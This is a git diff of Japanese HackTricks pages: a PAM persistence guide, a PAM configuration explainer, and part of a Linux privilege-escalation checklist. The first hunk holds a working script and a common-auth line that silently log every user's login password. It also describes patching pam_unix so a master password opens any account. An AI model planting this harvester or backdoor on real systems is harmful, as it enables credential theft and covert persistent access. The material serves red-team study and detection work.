||||
|
@ -27,39 +27,37 @@ PAMモジュールを設定して、ログインするたびに各ユーザー
|
|||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
```
|
||||
変数はPAM固有のもので、`pam_exec.so`モジュールを介して利用可能になります。
|
||||
変数はPAM固有であり、`pam_exec.so`モジュールを介して利用可能になります。
|
||||
|
||||
変数の意味は以下の通りです:
|
||||
以下は変数の意味です:
|
||||
|
||||
* **$PAM\_USER:** 入力されたユーザー名。
|
||||
* **$PAM\_RHOST:** リモートホスト(通常はIPアドレス)
|
||||
* **$(cat -):** これは`stdin`を読み込み、スクリプトが掴むパスワードが含まれます
|
||||
* 結果は`/var/log/toomanysecrets.log`のログファイルにパイプされます
|
||||
- **$PAM\_USER:** 入力されたユーザー名。
|
||||
- **$PAM\_RHOST:** リモートホスト(通常はIPアドレス)
|
||||
- **$(cat -):** これは`stdin`を読み取り、スクリプトが取得するパスワードが含まれます。
|
||||
- 結果は`/var/log/toomanysecrets.log`にログファイルにパイプされます。
|
||||
|
||||
ファイルの**全ユーザーによる読み取りを防ぐ**ためには、事前にファイルを作成して`chmod`を実行することを検討してください。例えば:
|
||||
**すべてのユーザーがファイルを読めないようにする**には、事前に作成して`chmod`を実行することを検討してください。
|
||||
```bash
|
||||
sudo touch /var/log/toomanysecrets.sh
|
||||
sudo chmod 770 /var/log/toomanysecrets.sh
|
||||
```
|
||||
```
|
||||
次に、PAM設定ファイルを更新する必要があります。`pam_exec`モジュールを使用してスクリプトを呼び出します。
|
||||
次に、PAM構成ファイルを更新する必要があります。`pam_exec`モジュールを使用してスクリプトを呼び出します。
|
||||
|
||||
`/etc/pam.d/`には様々な設定ファイルがあり、`common-auth`を選択します。
|
||||
```
|
||||
`/etc/pam.d/`にはさまざまな構成ファイルがあり、`common-auth`を選択します。
|
||||
```
|
||||
sudo nano /etc/pam.d/common-auth
|
||||
```
|
||||
ファイルの一番下に、次の認証モジュールを追加してください:
|
||||
ファイルの最下部に、以下の認証モジュールを追加してください:
|
||||
|
||||
`auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh`
|
||||
|
||||
オプションの意味は以下の通りです:
|
||||
オプションの意味は次の通りです:
|
||||
|
||||
* **optional:** エラーが発生しても認証が失敗しないようにする(必須のステップではない)
|
||||
* **pam\_exec.so:** 任意のスクリプトを呼び出すことができるPAMモジュールです
|
||||
* **expose\_authtok:** `stdin`を通じてパスワードを読み取ることを可能にするトリックです
|
||||
* **quiet:** ユーザーにエラーを表示しない(何かがうまくいかない場合)
|
||||
* 最後の引数は、以前に作成されたシェルスクリプトです
|
||||
- **optional:** エラーが発生しても認証が失敗しない(必須ステップではない)
|
||||
- **pam\_exec.so:** 任意のスクリプトを呼び出すことができる PAM モジュール
|
||||
- **expose\_authtok:** `stdin` を介してパスワードを読み取るトリック
|
||||
- **quiet:** ユーザーにエラーを表示しない(何かがうまくいかない場合)
|
||||
- 最後の引数は以前に作成したシェルスクリプトです
|
||||
|
||||
![](<../../.gitbook/assets/image (375).png>)
|
||||
|
||||
|
@ -67,32 +65,30 @@ sudo nano /etc/pam.d/common-auth
|
|||
|
||||
`sudo chmod 700 /usr/local/bin/toomanysecrets.sh`
|
||||
|
||||
さあ、これを試してみましょう。別のマシンからsshで接続するか、ローカルでログインします。
|
||||
これで、別のマシンから ssh したり、ローカルでログインしたりしてみてください。
|
||||
|
||||
そして、ログファイルを見てください:
|
||||
そして、ログファイルを確認してください:
|
||||
```
|
||||
$ sudo cat /var/log/toomanysecrets.log
|
||||
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
|
||||
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
|
||||
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149
|
||||
```
|
||||
### PAMへのバックドアの仕掛け
|
||||
### PAMへのバックドア設置
|
||||
|
||||
PAMのソースコードに移動しましょう(使用しているディストリビューションによって異なりますが、自分のものと同じバージョン番号を取得してください。)そして、pam_unix_auth.cファイルの170/180行目あたりを見てみましょう:
|
||||
PAMのソースコードに移動します(ディストリビューションによって異なりますが、自分のバージョンと同じものを使用してください)。そして、pam_unix_auth.cファイルの170/180行付近を調べてみましょう:
|
||||
```
|
||||
vi modules/pam_unix/pam_unix_auth.c
|
||||
```
|
||||
```markdown
|
||||
![](../../.gitbook/assets/image (651).png)
|
||||
![](<../../.gitbook/assets/image (651).png>)
|
||||
|
||||
次の手順で変更しましょう:
|
||||
これを以下のように変更します:
|
||||
|
||||
![](../../.gitbook/assets/image (638) (2) (2).png)
|
||||
![](<../../.gitbook/assets/image (638) (2) (2).png>)
|
||||
|
||||
これにより、**パスワード "0xMitsurugi"** を使用する任意のユーザーがログインできるようになります。
|
||||
これにより、**パスワード "0xMitsurugi"** を使用するユーザーがログインできるようになります。
|
||||
|
||||
`pam_unix_auth.c` を再コンパイルし、pam_unix.so ファイルを置き換えます:
|
||||
```
|
||||
`pam_unix_auth.c`を再コンパイルし、`pam_unix.so`ファイルを置き換えます。
|
||||
```bash
|
||||
make
|
||||
sudo cp \
|
||||
|
@ -100,7 +96,7 @@ sudo cp \
|
|||
/lib/x86_64-linux-gnu/security/
|
||||
```
|
||||
{% hint style="info" %}
|
||||
このプロセスは [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) で自動化できます。
|
||||
このプロセスを[https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)で自動化することができます。
|
||||
{% endhint %}
|
||||
|
||||
## 参考文献
|
||||
|
@ -110,14 +106,14 @@ sudo cp \
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,23 +1,23 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください。**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする**
|
||||
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
PAMは、システム上のサービスとそのサービスのユーザーとの間に形成されるモジュールの集合体です。モジュールは、特定のUNIXグループ(またはネットグループ、サブネットなど)からのログインを禁止することから、あなたの「研究」グループがシステムリソースを独占することを防ぐためのリソース制限を実装することまで、目的が大きく異なることがあります。
|
||||
PAMは、システム上のサービスとそのユーザーの間に障壁を形成するモジュールのコレクションです。これらのモジュールには、特定のUNIXグループ(またはネットグループ、サブネットなど)からのユーザーのログインを許可しないようにする、あるいは'研究'グループがシステムリソースを独占できないようにリソース制限を実装するなど、さまざまな目的があります。
|
||||
|
||||
# 設定ファイル
|
||||
|
||||
Solarisや他の商用UNIXシステムは、**`/etc/pam.conf`**という単一のファイルを中心としたやや異なる設定モデルを持っています。ほとんどのLinuxシステムでは、これらの設定ファイルは**`/etc/pam.d`**にあり、サービス名にちなんで命名されています。例えば、「login」の設定ファイルは**`/etc/pam.d/login`**と呼ばれています。そのファイルのバージョンを簡単に見てみましょう:
|
||||
Solarisや他の商用UNIXシステムは、**`/etc/pam.conf`** という単一のファイルを中心にしたわずかに異なる構成モデルを持っています。ほとんどのLinuxシステムでは、これらの設定ファイルは **`/etc/pam.d`** にあり、サービスに基づいて名前が付けられています。たとえば、'login'の設定ファイルは **`/etc/pam.d/login`** と呼ばれています。そのファイルのバージョンを簡単に見てみましょう:
|
||||
```text
|
||||
auth required /lib/security/pam_securetty.so
|
||||
auth required /lib/security/pam_nologin.so
|
||||
|
@ -30,52 +30,34 @@ password required /lib/security/pam_ldap.so
|
|||
password required /lib/security/pam_pwdb.so use_first_pass
|
||||
session required /lib/security/pam_unix_session.so
|
||||
```
|
||||
## **PAM 管理領域**
|
||||
## **PAM管理領域**
|
||||
|
||||
最左列には、PAM 管理の四つの領域を表す四つのユニークな単語が含まれています: **auth**, **account**, **password** と **session**。多くのモジュールがこれらの領域の複数をサポートしています(実際、pam_unix は全てをサポートしています)、他のモジュール、例えば pam_cracklib は一つの領域(pam_cracklib の場合は 'password' 施設)にのみ適しています。
|
||||
左端の列には、PAM管理の4つの領域を表す4つのユニークな単語が含まれています: **auth**、**account**、**password**、**session**。多くのモジュールがこれらの領域の複数をサポートしています(実際、pam_unixはすべてをサポートしています)、一方、pam_cracklibのような他のモジュールは1つにしか適していません(pam_cracklibの場合は「password」機能)。
|
||||
|
||||
* **auth**: 'auth' 領域(私はそれを領域と呼んでいます - ドキュメントでは '管理グループ' または '施設' として参照されています)は、ユーザーが自分の言う通りの人物であるかを確認する責任があります。このエリアにリストされるモジュールは、**一般的に** **パスワードのプロンプト**をサポートしています。
|
||||
* **account**: このエリアは、**アカウント検証機能**の広範な可能性に責任があります。この施設には多くのモジュールが利用可能です。サービスの使用に対する制約は、**グループメンバーシップの確認**、時間帯、ユーザーアカウントがローカルかリモートかなど、一般的にこの施設をサポートするモジュールによって強制されます。
|
||||
* **password**: このエリアのモジュールは、特定のサービスの**パスワード更新**に必要な機能に責任があります。ほとんどの場合、このセクションはかなり 'ありふれた' もので、単に**現在のパスワードのプロンプト**を表示するモジュールを呼び出し、それが成功したと仮定すると、新しいパスワードのプロンプトを表示します。他のモジュールも追加されて、**パスワードの複雑さ**や辞書チェックなどを実行することもできます。例えば、pam_cracklib や pam_pwcheck モジュールが実行します。
|
||||
* **session**: このエリアのモジュールは、特定のユーザーのサービスの**セットアップまたはクリーンアップ中に発生する**様々なことを実行します。これには、システム全体の初期化スクリプトの起動、特別なログの実行、**ユーザーのホームディレクトリのマウント**、リソース制限の設定など、数多くのことが含まれるかもしれません。
|
||||
* **auth**: ‘auth’領域(私はそれを領域と呼びます - ドキュメントでは「管理グループ」または「機能」と言及されています)は、ユーザーが自分自身であることを確認する責任があります。この領域にリストされるモジュールは、**パスワードの入力を促す**ことを**一般的に**サポートしています。
|
||||
* **account**: この領域は、さまざまな**アカウント検証機能**に責任を持ちます。この機能には多くのモジュールが利用可能です。**グループメンバーシップの確認**、時間帯、ユーザーアカウントがローカルかリモートかなどに基づくサービスの利用に制約を課すことは、一般的にこの機能をサポートするモジュールによって強制されます。
|
||||
* **password**: この領域のモジュールは、特定のサービスの**パスワードの更新**に必要な機能を担当します。ほとんどの場合、このセクションは非常に単調で、単に**現在のパスワードの入力を促し**、それが成功した場合は新しいパスワードの入力を促します。他のモジュールは、pam_cracklibやpam_pwcheckモジュールによって実行されるような**パスワードの複雑さ**や辞書チェックを実行するために追加できます。
|
||||
* **session**: この領域のモジュールは、特定のユーザーのサービスの**セットアップやクリーンアップ中に発生する**さまざまな作業を実行します。これには、システム全体の初期化スクリプトの起動、特別なログ記録の実行、**ユーザーのホームディレクトリのマウント**、リソース制限の設定などが含まれる場合があります。
|
||||
|
||||
## **PAM モジュールコントロール**
|
||||
## **PAMモジュールコントロール**
|
||||
|
||||
**中央の列**には、モジュールが成功した場合や失敗した場合に PAM がどうするべきかを基本的に決定するキーワードが含まれています。これらのキーワードは PAM 用語で 'コントロール' と呼ばれています。90%のケースでは、一般的なキーワード(**requisite**、**required**、**sufficient**、**optional**)のいずれかを使用できます。しかし、これは PAM の柔軟性とパワーを解き放つための氷山の一角に過ぎません。
|
||||
**中央の列**には、モジュールが成功または失敗した場合に**PAMが何をすべきかを実質的に決定する**キーワードが含まれています。これらのキーワードはPAM用語では「**コントロール**」と呼ばれます。90%の場合、一般的なキーワード(**requisite**、**required**、**sufficient**、**optional**)のいずれかを使用できます。ただし、これはPAMの柔軟性とパワーを解放するための氷山の一角に過ぎません。
|
||||
|
||||
* **required**: 'required' モジュールが **'success' でない** 状態を返した場合、**操作は最終的に常に失敗します**が、それは**下にあるモジュールが呼び出された後**です。一見無意味に思えるかもしれませんが、サービスを利用しようとするユーザーの視点から**常に同じ方法で行動する**という目的を果たします。その結果、潜在的なクラッカーが**どの** **モジュール**が**失敗**を引き起こしたかを**特定する**ことが**不可能**になります。
|
||||
* **requisite**: 'requisite' モジュールが失敗すると、**操作**はただちに**失敗**し、他のモジュールを呼び出すことなく失敗で**即座に** **終了**します。
|
||||
* **sufficient**: **十分な** モジュールが**成功**すると、その領域でのサービスの使用に十分であり、**それより下にリストされている 'sufficient' とされたモジュールは呼び出されません**。**失敗した場合、操作は失敗しますが、それ以降に呼び出されたモジュールが成功した場合を除きます**。
|
||||
* **optional**: 'optional' モジュールは、pam(8) manpage によると、**その施設のスタック内で唯一のモジュールである場合にのみ操作が失敗する**とされています。
|
||||
* **required**: ‘required’モジュールが**‘success’でないステータス**を返すと、**操作は常に失敗します**が、**その下のモジュールが呼び出された後**にのみ失敗します。これは初めて見ると無意味に思えるかもしれませんが、**サービスを利用しようとするユーザーの視点からは常に同じ方法で動作する**ことを目的としています。その結果、潜在的なクラッカーが**どの** **モジュール**が**失敗**の原因であるかを**特定**するのが**不可能**になります。
|
||||
* **requisite**: ‘requisite’モジュールが失敗すると、**操作は失敗するだけでなく**、他のモジュールを呼び出さずに**即座に** **失敗**で終了します。
|
||||
* **sufficient**: **sufficient**モジュールが**成功**すると、その領域の**十分なモジュールの要件を満たす**のに十分であり、**その下にある‘sufficient’としてリストされたモジュールは呼び出されません**。**失敗すると、その後に呼び出されるモジュールが成功しない限り、操作は失敗します**。
|
||||
* **optional**: ''optional’モジュールは、pam\(8\)マニュアルによると、その機能のスタック内で**唯一のモジュール**である場合にのみ、操作を失敗させます。
|
||||
|
||||
## 例
|
||||
|
||||
私たちの例のファイルでは、auth 領域に対して四つのモジュールが積み重ねられています:
|
||||
例のファイルでは、auth領域にスタックされた4つのモジュールがあります:
|
||||
```text
|
||||
auth required /lib/security/pam_securetty.so
|
||||
auth required /lib/security/pam_env.so
|
||||
auth sufficient /lib/security/pam_ldap.so
|
||||
auth required /lib/security/pam_unix.so try_first_pass
|
||||
```
|
||||
モジュールが順番に呼び出されると、次のようなことが起こります:
|
||||
|
||||
1. '**pam\_securetty**' モジュールは、その設定ファイル **`/etc/securetty`** をチェックし、このログインに使用されている端末がファイルにリストされているかどうかを確認します。**もしリストされていなければ、root ログインは許可されません**。'悪い'端末で root としてログインしようとすると、このモジュールは失敗します。'required' としてリストされているため、スタック内のすべてのモジュールが呼び出されます。しかし、それらがすべて成功しても、ログインは失敗します。注目すべき点は、もしモジュールが 'requisite' としてリストされていた場合、他のモジュールを呼び出すことなく、直ちに失敗で操作が終了することです。
|
||||
2. '**pam\_env**' モジュールは、管理者が /etc/security/pam\_env.conf で設定した内容に基づいて **環境変数を設定** します。Redhat 9、Fedora Core 1、および Mandrake 9.2 のデフォルト設定では、このモジュールの設定ファイルは実際には変数を設定しません。これの良い使用例は、SSH 経由でログインするユーザーに対して DISPLAY 環境変数を自動的に設定することで、リモートデスクトップに 'xterm' を戻したい場合に自分で設定する必要がないようにすることです(ただし、これは OpenSSH によって自動的に処理されることもあります)。
|
||||
3. '**pam\_ldap**' モジュールは、ユーザーに **パスワードの入力を促し**、**`/etc/ldap.conf`** で指示された ldap ディレクトリをチェックしてユーザーを認証します。これが失敗した場合でも、'pam\_unix' がユーザーの認証に成功すれば操作は成功する可能性があります。pam\_ldap が成功した場合、'pam\_unix' は呼び出されません。
|
||||
4. この場合の '**pam\_unix**' モジュールは、**ユーザーにパスワードの入力を促しません**。'try\_first\_pass' 引数は、モジュールに **先行するモジュールから与えられたパスワードを使用するように指示** します(この場合は pam\_ldap)。標準の getpw\* システムコールを使用してユーザーを認証しようとします。もし pam\_unix が失敗し、pam\_ldap も失敗していた場合、操作は失敗します。pam\_ldap が失敗しても、pam\_unix が成功すれば、操作は成功します(これは、root が ldap ディレクトリには含まれていないが、ローカルの /etc/passwd ファイルには存在する場合に非常に役立ちます!)。
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS ハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks にあなたの会社を広告したい**、または **HackTricks を PDF でダウンロードしたい** 場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、私たちの独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションをチェックしてください。
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegram グループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を**フォロー**してください。
|
||||
* **HackTricks** の [**GitHub リポジトリ**](https://github.com/carlospolop/hacktricks) に PR を提出して、あなたのハッキングのコツを共有してください。
|
||||
|
||||
</details>
|
||||
1. **pam\_securetty**モジュールは、その設定ファイルである**`/etc/securetty`**をチェックし、このログインに使用されている端末がファイルにリストされているかどうかを確認します。もしリストされていない場合、**rootログインは許可されません**。'bad'端末でrootとしてログインしようとすると、このモジュールは失敗します。'required'であるため、スタック内のすべてのモジュールを呼び出します。しかし、それらがすべて成功しても、ログインは失敗します。興味深いのは、もしモジュールが'requisite'としてリストされていた場合、操作はすぐに失敗して他のモジュールを呼び出さずに終了します。
|
||||
2. **pam\_env**モジュールは、管理者が**`/etc/security/pam_env.conf`**で設定した内容に基づいて**環境変数を設定**します。Redhat 9、Fedora Core 1、Mandrake 9.2のデフォルトセットアップでは、このモジュールの構成ファイルは実際には変数を設定しません。SSH経由でログインするユーザーのためにDISPLAY環境変数を自動的に設定するなど、良い使い道があります(ただし、OpenSSHが自動的に処理することもできます)。
|
||||
3. **pam\_ldap**モジュールは、ユーザーに**パスワードを要求**し、次に**`/etc/ldap.conf`**で指定されたldapディレクトリをチェックしてユーザーを認証します。これが失敗した場合、'pam\_unix'がユーザーを認証するのに成功しても操作は成功する可能性があります。pam\_ldapが成功した場合、'pam\_unix'は呼び出されません。
|
||||
4. この場合の**pam\_unix**モジュールは、ユーザーにパスワードを要求しません。'try_first_pass'引数は、モジュールに**直前のモジュール(この場合はpam\_ldap)から与えられたパスワードを使用**するよう指示します。標準のgetpw\*システムコールを使用してユーザーを認証しようとします。pam\_unixが失敗し、pam\_ldapも失敗した場合、操作は失敗します。pam\_ldapが失敗した場合でも、pam\_unixが成功した場合、操作は成功します(これは、rootがldapディレクトリに含まれていないが、ローカルの/etc/passwdファイルにはまだ存在する場合に非常に役立ちます!)。
|
||||
|
|
|
@ -1,16 +1,15 @@
|
|||
# チェックリスト - Linux権限昇格
|
||||
# チェックリスト - Linux 特権昇格
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでのAWSハッキングを学ぶ**!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* **HackTricks**のPRを提出して、あなたのハッキングのコツを共有する。
|
||||
- **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
- **Discordグループ**💬 に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 で **@hacktricks_live** をフォローする。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,163 +17,176 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取ろう!
|
||||
|
||||
**ハッキングの洞察**\
|
||||
ハッキングのスリルと挑戦に焦点を当てたコンテンツに参加する
|
||||
ハッキングのスリルと挑戦に深く入り込むコンテンツに参加
|
||||
|
||||
**リアルタイムハックニュース**\
|
||||
リアルタイムのニュースと洞察を通じて、速いペースのハッキングの世界に最新の情報を保つ
|
||||
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保つ
|
||||
|
||||
**最新の発表**\
|
||||
最新のバグバウンティの開始と重要なプラットフォームの更新情報を入手する
|
||||
**最新のアナウンス**\
|
||||
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握
|
||||
|
||||
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力しましょう!
|
||||
**Discord** で [**参加**](https://discord.com/invite/N3FrSbmwdy) し、今日からトップハッカーと協力し始めよう!
|
||||
|
||||
### **Linuxローカル権限昇格ベクトルを探すための最良のツール:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
### **Linux ローカル特権昇格ベクターを探すための最適なツール:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
### [システム情報](privilege-escalation/#system-information)
|
||||
|
||||
* [ ] **OS情報**を取得する
|
||||
* [ ] [**PATH**](privilege-escalation/#path)をチェックする、**書き込み可能なフォルダー**はあるか?
|
||||
* [ ] [**環境変数**](privilege-escalation/#env-info)をチェックする、機密情報はあるか?
|
||||
* [ ] スクリプトを使用して[**カーネルの脆弱性**](privilege-escalation/#kernel-exploits)を探す(DirtyCow?)
|
||||
* [ ] [**sudoバージョン**が脆弱かどうかを**チェック**する](privilege-escalation/#sudo-version)
|
||||
* [ ] [**Dmesg**署名検証に失敗](privilege-escalation/#dmesg-signature-verification-failed)
|
||||
* [ ] より多くのシステム列挙([日付、システム統計、CPU情報、プリンター](privilege-escalation/#more-system-enumeration))
|
||||
* [ ] [より多くの防御を列挙する](privilege-escalation/#enumerate-possible-defenses)
|
||||
- [ ] **OS情報**を取得する
|
||||
- [ ] [**PATH**](privilege-escalation/#path)をチェックし、**書き込み可能なフォルダ**はあるか?
|
||||
- [ ] [**環境変数**](privilege-escalation/#env-info)をチェックし、機密情報はあるか?
|
||||
- [ ] スクリプトを使用して [**カーネルの脆弱性**](privilege-escalation/#kernel-exploits) を検索する(DirtyCowなど)
|
||||
- [ ] [**sudoのバージョン**が脆弱かどうかをチェック](privilege-escalation/#sudo-version)する
|
||||
- [ ] [**Dmesg** 署名検証に失敗](privilege-escalation/#dmesg-signature-verification-failed)
|
||||
- [ ] その他のシステム列挙(日付、システム統計、CPU情報、プリンタ)を行う([**詳細はこちら**](privilege-escalation/#more-system-enumeration))
|
||||
- [ ] [さらなる防御策を列挙](privilege-escalation/#enumerate-possible-defenses)
|
||||
|
||||
### [ドライブ](privilege-escalation/#drives)
|
||||
|
||||
* [ ] **マウントされた**ドライブをリストする
|
||||
* [ ] **マウントされていないドライブはあるか?**
|
||||
* [ ] **fstabにクレデンシャルはあるか?**
|
||||
- [ ] マウントされたドライブをリストアップする
|
||||
- [ ] マウントされていないドライブはあるか?
|
||||
- [ ] fstab に資格情報はあるか?
|
||||
|
||||
### [**インストールされたソフトウェア**](privilege-escalation/#installed-software)
|
||||
|
||||
* [ ] **インストールされた**[ **便利なソフトウェア**](privilege-escalation/#useful-software)を**チェックする**
|
||||
* [ ] **インストールされた** [**脆弱なソフトウェア**](privilege-escalation/#vulnerable-software-installed)を**チェックする**
|
||||
- [ ] **インストールされた便利なソフトウェア**をチェックする([**詳細はこちら**](privilege-escalation/#useful-software))
|
||||
- [ ] **インストールされた脆弱なソフトウェア**をチェックする([**詳細はこちら**](privilege-escalation/#vulnerable-software-installed))
|
||||
|
||||
### [プロセス](privilege-escalation/#processes)
|
||||
|
||||
* [ ] **不明なソフトウェアが実行されているか?**
|
||||
* [ ] 何かのソフトウェアが**本来よりも多くの権限で実行されているか?**
|
||||
* [ ] 実行中のプロセスの**脆弱性を探す**(特に実行中のバージョン)。
|
||||
* [ ] 実行中のプロセスの**バイナリを変更**できるか?
|
||||
* [ ] **プロセスを監視**し、頻繁に実行されている興味深いプロセスがないかチェックする。
|
||||
